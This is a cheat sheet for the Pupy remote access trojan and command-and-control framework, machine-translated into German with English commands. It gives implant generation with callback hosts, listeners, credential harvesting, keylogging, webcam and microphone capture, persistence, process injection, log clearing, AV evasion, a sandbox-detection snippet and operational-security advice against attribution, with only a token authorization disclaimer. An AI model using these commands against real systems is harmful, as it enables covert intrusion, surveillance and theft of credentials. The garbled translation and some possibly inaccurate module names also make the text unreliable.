Pupy C2 Framework Cheat Sheet¶

generieren

Überblick¶

Pupy ist ein Open-Source-, Cross-Platform Remote Access Tool (RAT) und Post-Exploitation Framework geschrieben in Python und C. Es unterstützt Windows-, Linux-, OSX- und Android-Plattformen mit Memory-only Ausführung Fähigkeiten und minimale Footprint-Design.

ZEIT Warnung: Dieses Tool ist nur für autorisierte Penetrationstests und rote Teamübungen gedacht. Stellen Sie sicher, dass Sie eine ordnungsgemäße Genehmigung vor der Verwendung in jeder Umgebung haben.

Installation¶

Gierinstallation¶

```bash

Clone repository¶

git clone --recursive https://github.com/n1nj4sec/pupy.git cd pupy

Install dependencies (Ubuntu/Debian)¶

sudo apt-get install python2.7-dev python-pip python-setuptools build-essential swig python-dev libssl-dev libffi-dev

Install Python requirements¶

pip install -r pupy/requirements.txt

Create workspace¶

./create-workspace.py -DG pupyws cd pupyws ```_

Docker Installation¶

```bash

Build Docker image¶

git clone --recursive https://github.com/n1nj4sec/pupy.git cd pupy docker build -t pupy .

Run Pupy in Docker¶

docker run -it -v /tmp/pupyws:/opt/pupy/pupyws pupy ```_

Windows Installation¶

```bash

Install Python 2.7¶

Download and install Microsoft Visual C++ Compiler for Python 2.7¶

Clone repository¶

git clone --recursive https://github.com/n1nj4sec/pupy.git cd pupy

Install requirements¶

pip install -r pupy/requirements.txt

Create workspace¶

python create-workspace.py pupyws cd pupyws ```_

Basisnutzung¶

Beginn des Pupy Servers¶

```bash

Start server with default configuration¶

./pupysh

Start with custom configuration¶

./pupysh --config custom_config.py

Start with specific transport¶

./pupysh --transport ssl ```_

Client Generation¶

```bash

Generate Windows client¶

gen -f client -O windows -A x86 -o windows_client.exe

Generate Linux client¶

gen -f client -O linux -A x64 -o linux_client

Generate Android APK¶

gen -f apk -o android_client.apk ```_

Befehlsnummer¶

Serververwaltung¶

Command	Description
`help`	Show help menu
`sessions`	List active sessions
`session -i <id>`	Interact with session
`jobs`	List running jobs
`kill <job_id>`	Kill running job
`exit`	Exit Pupy server

Client Generation¶

Command	Description
`gen -h`	Show generation help
`gen -f client -O <os> -A <arch>`	Generate client
`gen -f apk`	Generate Android APK
`gen -f py`	Generate Python payload
`gen -f ps1`	Generate PowerShell payload

Sitzungs-Interaktion¶

Command	Description
`info`	Show session information
`shell`	Get interactive shell
`upload <local> <remote>`	Upload file
`download <remote> <local>`	Download file
`screenshot`	Take screenshot
`webcam_snap`	Take webcam snapshot
`keylogger`	Start keylogger

Optionen der Client-Generierung¶

Windows Clients¶

```bash

Windows executable (x86)¶

gen -f client -O windows -A x86 -o windows_x86.exe

Windows executable (x64)¶

gen -f client -O windows -A x64 -o windows_x64.exe

Windows DLL¶

gen -f dll -O windows -A x86 -o windows_dll.dll

Windows service executable¶

gen -f client -O windows -A x64 --service -o windows_service.exe

PowerShell payload¶

gen -f ps1 -o payload.ps1 ```_

Linux Clients¶

```bash

Linux ELF (x86)¶

gen -f client -O linux -A x86 -o linux_x86

Linux ELF (x64)¶

gen -f client -O linux -A x64 -o linux_x64

Linux shared library¶

gen -f so -O linux -A x64 -o linux_lib.so

Python payload¶

gen -f py -o payload.py ```_

macOS Clients¶

```bash

macOS binary¶

gen -f client -O darwin -A x64 -o macos_client

macOS application bundle¶

gen -f app -O darwin -A x64 -o macos_app.app ```_

Android Clients¶

```bash

Android APK¶

gen -f apk -o android_client.apk

Android APK with custom package name¶

gen -f apk --package com.example.app -o custom_android.apk ```_

Transportmöglichkeiten¶

SSL Transport¶

```bash

Start SSL listener¶

listen --port 443 ssl

Generate client with SSL transport¶

gen -f client -O windows -A x64 --transport ssl_connect --host 192.168.1.100:443 ```_

HTTP Transport¶

```bash

Start HTTP listener¶

listen --port 80 http

Generate client with HTTP transport¶

gen -f client -O windows -A x64 --transport http --host 192.168.1.100:80 ```_

TCP Transport¶

```bash

Start TCP listener¶

listen --port 4444 tcp

Generate client with TCP transport¶

gen -f client -O windows -A x64 --transport tcp_cleartext --host 192.168.1.100:4444 ```_

Transporte¶

```bash

Obfs3 transport¶

listen --port 8080 obfs3

Generate client with obfs3¶

gen -f client -O windows -A x64 --transport obfs3 --host 192.168.1.100:8080 ```_

Post-Exploitationsmodule¶

Systeminformationen¶

```bash

Get system information¶

run sysinfo

Get environment variables¶

run getenv

Get installed software¶

run installed_software

Get running processes¶

run ps

Get network connections¶

run netstat ```_

Credential Harvesting¶

```bash

Dump Windows credentials¶

run hashdump

Extract browser passwords¶

run browser_dump

Dump WiFi passwords¶

run wifi_passwords

Extract clipboard content¶

run clipboard ```_

Persistenz¶

```bash

Install persistence¶

run persistence

Create scheduled task (Windows)¶

run schtasks

Registry persistence (Windows)¶

run registry_persistence

Cron job persistence (Linux)¶

run cron_persistence ```_

Netzwerkaktivitäten¶

```bash

Port scanning¶

run portscan -t 192.168.1.0/24

Network discovery¶

run network_discovery

ARP spoofing¶

run arp_spoof -t 192.168.1.10 -g 192.168.1.1

DNS spoofing¶

run dns_spoof -d example.com -i 192.168.1.100 ```_

Überwachung¶

```bash

Start keylogger¶

run keylogger

Take screenshot¶

run screenshot

Record microphone¶

run record_mic -t 30

Webcam snapshot¶

run webcam_snap

Webcam stream¶

run webcam_stream ```_

Erweiterte Funktionen¶

Ausführung des Speichers¶

```bash

Load module in memory¶

load_module /path/to/module.py

Execute in memory¶

run memory_exec -f /path/to/executable

Reflective DLL loading (Windows)¶

run reflective_dll -f /path/to/dll.dll ```_

Prozessinjektion¶

```bash

Inject into process¶

run inject -p -f /path/to/payload

Process hollowing¶

run process_hollow -t notepad.exe -f /path/to/payload

DLL injection¶

run dll_inject -p -f /path/to/dll.dll ```_

Pivot¶

```bash

SOCKS proxy¶

run socks -p 1080

Port forwarding¶

run portfwd -L 8080:192.168.2.10:80

Reverse port forwarding¶

run portfwd -R 9090:127.0.0.1:22 ```_

Anti-Forensik¶

```bash

Clear event logs (Windows)¶

run clear_logs

Timestomp files¶

run timestomp -f /path/to/file -t "2020-01-01 12:00:00"

Secure delete¶

run secure_delete -f /path/to/file

Clear tracks¶

run clear_tracks ```_

Evasion Techniken¶

Belastbarkeit¶

```bash

Generate with packer¶

gen -f client -O windows -A x64 --packer upx -o packed_client.exe

Custom obfuscation¶

gen -f client -O windows -A x64 --obfuscate -o obfuscated_client.exe

Encrypted payload¶

gen -f client -O windows -A x64 --encrypt -o encrypted_client.exe ```_

Antianalyse¶

```python

VM detection¶

def check_vm(): import subprocess try: output = subprocess.check_output(['systeminfo'], shell=True) vm_indicators = ['VMware', 'VirtualBox', 'QEMU', 'Hyper-V'] for indicator in vm_indicators: if indicator in output.decode(): return True except: pass return False

Sandbox evasion¶

import time import random time.sleep(random.randint(60, 300)) # Random sleep ```_

Verkehrsobfukation¶

```bash

Domain fronting¶

gen -f client -O windows -A x64 --transport http --host cdn.example.com --front-domain legitimate-site.com

Custom User-Agent¶

gen -f client -O windows -A x64 --transport http --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" ```_

Konfiguration¶

Serverkonfiguration¶

```python

pupy.conf¶

[pupyd] workdir = pupyws scriptlets_path = packages/all;packages/windows;packages/linux;packages/darwin

[ssl] keyfile = keys/server.key certfile = keys/server.crt

[http] port = 80 ssl_port = 443

[logging] level = INFO file = pupy.log ```_

Client Konfiguration¶

```python

Custom transport configuration¶

TRANSPORT_KWARGS = \\{ 'ssl': \\{ 'cert_reqs': ssl.CERT_NONE, 'ssl_version': ssl.PROTOCOL_TLSv1_2, 'ciphers': 'ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM' \\}, 'http': \\{ 'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'headers': \\{'Accept': 'text/html,application/xhtml+xml'\\}, 'proxy': \\{'http': 'http://proxy:8080'\\} \\} \\} ```_

Fehlerbehebung¶

Verbindungsprobleme¶

```bash

Check listener status¶

jobs

Test connectivity¶

telnet server_ip port

Check firewall rules¶

iptables -L netsh advfirewall show allprofiles ```_

Probleme der Client Generation¶

```bash

Install missing dependencies¶

pip install -r pupy/requirements.txt

Rebuild client templates¶

./create-workspace.py -DG pupyws

Check Python version¶

python --version # Should be 2.7.x ```_

Modul Fehler laden¶

```bash

Update module path¶

export PYTHONPATH=$PYTHONPATH:/opt/pupy/pupy

Reinstall requirements¶

pip install --upgrade -r pupy/requirements.txt

Check module dependencies¶

python -c "import module_name" ```_

Leistungsfragen¶

```bash

Reduce beacon interval¶

session -i set_beacon_interval 30

Optimize transport¶

Use faster transports like TCP for internal networks¶

Use compressed transports for slow connections¶

```_

Operationelle Sicherheit¶

Infrastrukturaufbau¶

Verwenden Sie Umleitungen und Proxyketten
Durchführung ordnungsgemäßer Zertifikatsverwaltung
Verwenden Sie legitime Domains und Hosting
Infrastruktur regelmäßig drehen
Monitor für Erkennung und Zuschreibung

Kommunikationssicherheit¶

Verwenden Sie verschlüsselte Transporte (SSL/TLS)
Umsetzung der richtigen Schlüsselverwaltung
Domänenfront verwenden, wo möglich
Vary Kommunikationsmuster
Implementierung der richtigen Fehlerbehandlung

Sicherheit am Arbeitsplatz¶

Verwenden Sie die Fettbildung und Verpackung
Implementieren von Anti-Analyse-Techniken
Verwenden Sie gestufte Nutzlasten, wenn möglich
Regelmäßig aktualisieren und rotieren Nutzlasten
Test gegen aktuelle AV-Lösungen

Ressourcen¶

--

*Dieses Betrügereiblatt bietet eine umfassende Referenz für die Verwendung von Pupy C2 Framework. Stellen Sie immer sicher, dass Sie eine richtige Berechtigung haben, bevor Sie dieses Tool in jeder Umgebung verwenden. *